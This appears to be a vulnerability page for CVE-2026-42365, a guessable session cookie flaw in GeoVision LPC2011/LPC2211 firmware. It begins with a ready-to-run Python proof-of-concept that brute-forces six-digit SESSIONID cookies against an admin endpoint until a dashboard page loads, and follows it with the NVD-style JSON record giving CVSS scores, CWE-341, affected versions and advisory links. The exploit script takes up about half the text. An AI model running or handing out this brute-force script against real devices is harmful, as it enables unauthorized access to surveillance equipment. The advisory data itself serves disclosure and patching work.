CVE-2026-42365

import requests target_url = "http://target-ip/admin/index.jsp" # Replace with actual target endpoint # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } print("[*] Starting brute force attack on session cookies...") # Simulating a brute force attack on a predictable 6-digit numeric session ID # The range and format should be adjusted based on actual reconnaissance for session_id in range(100000, 999999): cookies = { "SESSIONID": str(session_id) } try: response = requests.get(target_url, headers=headers, cookies=cookies, timeout=3) # Check if authentication was bypassed (e.g., HTTP 200 and presence of admin content) if response.status_code == 200 and "Dashboard" in response.text: print(f"[+] Success! Valid Cookie found: SESSIONID={session_id}") print(f"[+] Response length: {len(response.text)} bytes") break except requests.RequestException as e: # Handle connection errors silently or log them pass

{"cve": {"id": "CVE-2026-42365", "sourceIdentifier": "0df08a0e-a200-4957-9bb0-084f562506f9", "published": "2026-05-04T01:16:03.620", "lastModified": "2026-05-05T02:44:42.050", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A guessable session cookie vulnerability exists in the Web Interface functionality of GeoVision LPC2011/LPC2211 1.10. A specially crafted series of HTTP requests can lead to an authentication bypas. An attacker can bruteforce session cookies to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "0df08a0e-a200-4957-9bb0-084f562506f9", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-341"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:geovision:gv-lpc2011_firmware:1.10:*:*:*:*:*:*:*", "matchCriteriaId": "C1E349A9-4EEF-40B6-89A0-86242C2ADBC5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:geovision:gv-lpc2011:-:*:*:*:*:*:*:*", "matchCriteriaId": "87CE78D0-0894-451F-9A70-4F2A8062EC8A"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:geovision:gv-lpc2211_firmware:1.10:*:*:*:*:*:*:*", "matchCriteriaId": "0F3B818E-22D3-400A-AF2C-DEA66280464A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:geovision:gv-lpc2211:-:*:*:*:*:*:*:*", "matchCriteriaId": "59F15521-B4F3-4CCA-8C03-0A4EA2864C6E"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Third Party Advisory"]}, {"url": "https://www.geovision.com.tw/cyber_security.php", "source": "0df08a0e-a200-4957-9bb0-084f562506f9", "tags": ["Vendor Advisory"]}]}}